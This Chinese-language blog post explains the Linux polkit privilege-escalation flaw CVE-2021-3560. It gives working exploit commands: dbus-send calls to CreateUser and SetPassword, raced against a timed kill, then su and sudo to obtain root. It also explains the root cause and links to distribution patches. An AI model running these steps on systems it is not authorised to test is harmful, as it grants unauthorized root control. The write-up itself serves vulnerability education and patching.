Linux Polkit权限提升漏洞(CVE-2021-3560)

polkit是默认安装在许多 Linux 发行版上的系统服务。它由systemd 使用,因此任何使用 systemd 的 Linux 发行版也使用 polkit。该漏洞使无特权的本地用户能够获得系统上的 root shell。

关于polkit

当您看到如下所示的对话框时,polkit是在后台运行的系统服务:

它本质上扮演着法官的角色。如果你想做一些需要更高权限的事情——例如,创建一个新的用户帐户——那么决定是否允许你这样做是 polkit 的工作。对于某些请求,polkit 会立即做出允许或拒绝的决定,而对于其他请求,它会弹出一个对话框,以便管理员可以通过输入密码来授予授权。

该对话框可能给人的印象是 polkit 是一个图形系统,但它实际上是一个后台进程。该对话框被称为身份验证代理,它实际上只是一种将密码发送到 polkit 的机制。
在这里插入图片描述
pkexec是一个类似于 sudo的命令,它使您能够以 root 身份运行命令。如果您在图形会话中运行pkexec,它将弹出一个对话框,但如果您在文本模式会话(如 SSH)中运行它,则它会启动自己的文本模式身份验证代理:在这里插入图片描述
另一个可用于polkit从命令行触发的命令是dbus-send. 它是发送 D-Bus 消息的通用工具,主要用于测试,但通常默认安装在使用 D-Bus 的系统上。它可用于模拟图形界面可能发送的 D-Bus 消息。例如,这是创建新用户的命令:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

如果您在图形会话中运行该命令,则会弹出一个身份验证对话框,但如果您在文本模式会话(如SSH )中运行它,则会立即失败。这是因为,不同与 pkexec,dbus-send它不启动自己的身份验证代理。
在这里插入图片描述
在这里插入图片描述

利用步骤

该漏洞非常容易利用。它所需要的是仅使用标准工具,如在终端中的几个命令bash,kill和dbus-send。

证明漏洞取决于安装的两个软件包:accountsservice和gnome-control-center. 在 Ubuntu 桌面等图形系统上,这两个软件包通常默认安装。但是,如果您使用的是非图形 RHEL 服务器之类的东西,那么您可能需要安装它们,如下所示:

sudo yum install accountsservice gnome-control-center

当然,该漏洞与accountsservice或gnome-control-center没有任何特别关系。它们只是 polkit 客户端,恰好是利用的方便载体。PoC 依赖gnome-control-center和accountsservice。

为了避免重复触发身份验证对话框(这可能很烦人),我建议从 SSH 会话运行命令:

ssh localhost

该漏洞是通过启动dbus-send命令但在 polkit 仍在处理请求的过程中将其杀死而触发的。我认为理论上可以通过在适当的时候使用 Ctrl+C 来触发,但我从来没有成功过,所以我用少量的 bash 脚本来代替。首先,您需要测量dbus-send正常运行命令所需的时间:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

输出如下所示
在这里插入图片描述

这对我来说花了 0.009秒,所以这意味着我需要dbus-send在大约0.004秒后终止命令:
在这里插入图片描述
您可能需要运行几次,并且可能需要试验延迟的毫秒数。当漏洞利用成功时,您将看到已创建一个名为boris的新用户

$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

请注意,boris是该sudo组的成员,因此您已经走上了全面提升权限的道路。接下来,您需要为新帐户设置密码。D-Bus 接口需要一个散列密码,您可以使用openssl以下方法创建:

$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

现在你只需要再次执行相同的技巧,除了这次调用SetPasswordD-Bus 方法:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

同样,您可能需要试验延迟的长度并运行几次直到成功。另请注意,您需要粘贴正确的用户标识符 (UID),在此示例中为“1002”,以及openssl命令中的密码哈希。

现在您可以以 boris 身份登录并成为 root:

su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

polkit架构

为了帮助解释该漏洞,下面是dbus-send命令期间涉及的五个主要进程的图表:
在这里插入图片描述

图中显示了 dbus-send 命令中涉及的五个进程:虚线上方的“dbus-send”和“Authentication Agent”,以及虚线下方的“accounts-daemon”和“polkit”,其中 dbus-daemon 作为中间人。

虚线上方的两个进程dbus-send和Authentication Agent是非特权用户进程。线下的那些是特权系统进程。中间是dbus-daemon,它处理所有的通信:其他四个进程通过发送 D-Bus 消息相互通信。

dbus-daemon在 polkit 的安全性中起着非常重要的作用,因为它使四个进程能够安全地通信并检查彼此的凭据。例如,当身份验证代理向 polkit 发送身份验证 cookie 时,它​​是通过将其发送到org.freedesktop.PolicyKit1D-Bus 地址来实现的。由于该地址仅允许由根进程注册,因此不存在非特权进程拦截消息的风险。dbus-daemon还为每个连接分配一个“唯一的总线名称:”通常类似于“:1.96”。它有点像进程标识符 (PID),只是不容易受到PID 回收攻击。唯一的总线名称当前是从 64 位范围中选择的,因此不存在因名称被重用而导致漏洞的风险。

这是事件的顺序:

1、dbus-send要求accounts-daemon创建一个新用户。
2、accounts-daemon从 接收 D-Bus 消息dbus-send。该消息包括发送者的  唯一总线名称。让我们假设它是“:1.96”。此名称附加到消息中,dbus-daemon不能伪造。
3、accounts-daemon 询问 polkit 连接:1.96 是否被授权创建新用户。
4、polkit 要求dbus-daemon提供连接的 UID:1.96。
5、如果连接 :1.96 的 UID 为“0”,则 polkit 立即授权该请求。否则,它会向身份验证代理发送允许授权请求的管理员用户列表。
6、身份验证代理打开一个对话框以从用户那里获取密码。
7、身份验证代理将密码发送给 polkit。
8、polkit 将“是”回复发送回accounts-daemon.
9、accounts-daemon 创建新的用户帐户。

漏洞原理

为什么杀死dbus-send命令会导致身份验证绕过?该漏洞位于上面列出的事件序列的第四步。如果 polkit 要求dbus-daemon连接 :1.96 的 UID,但连接 :1.96 不再存在,会发生什么?dbus-daemon正确处理这种情况并返回错误。但事实证明 polkit 没有正确处理该错误。事实上,polkit 以一种特别不幸的方式错误处理了错误:它没有拒绝请求,而是将请求视为来自 UID 0 的进程。换句话说,它立即授权请求,因为它认为请求已经到来从根进程。

为什么漏洞的时间是不确定的?事实证明,polkitdbus-daemon在不同的代码路径上多次询问请求进程的 UID。这些代码路径中的大多数都能正确处理错误,但其中之一没有。如果您dbus-send提前终止命令,它将由正确的代码路径之一处理,并且请求将被拒绝。要触发易受攻击的代码路径,您必须在适当的时候断开连接。而且由于涉及多个过程,“正确时刻”的时间因一次运行而异。这就是为什么通常需要多次尝试才能成功利用的原因。我猜这也是之前没有发现该错误的原因。

结论

CVE-2021-3560 使无特权的本地攻击者能够获得 root 权限。它非常简单且易于利用,因此应该尽快更新 Linux 。任何安装了 polkit 0.113 版(或更高版本)的系统都容易受到攻击。这包括流行的发行版,例如 RHEL 8 和 Ubuntu 20.04。

修复建议

目前此漏洞已经修复,建议参考Linux各发行版本的官方通告及时升级更新:

RHEL 8:
https://access.redhat.com/security/cve/CVE-2021-3560

Fedora 21及更高版本:
https://bugzilla.redhat.com/show_bug.cgi?id=1967424

Debian testing (“bullseye”):
https://security-tracker.debian.org/tracker/CVE-2021-3560

Ubuntu 20.04:
https://ubuntu.com/security/CVE-2021-3560

参考链接:https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

  • 2
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值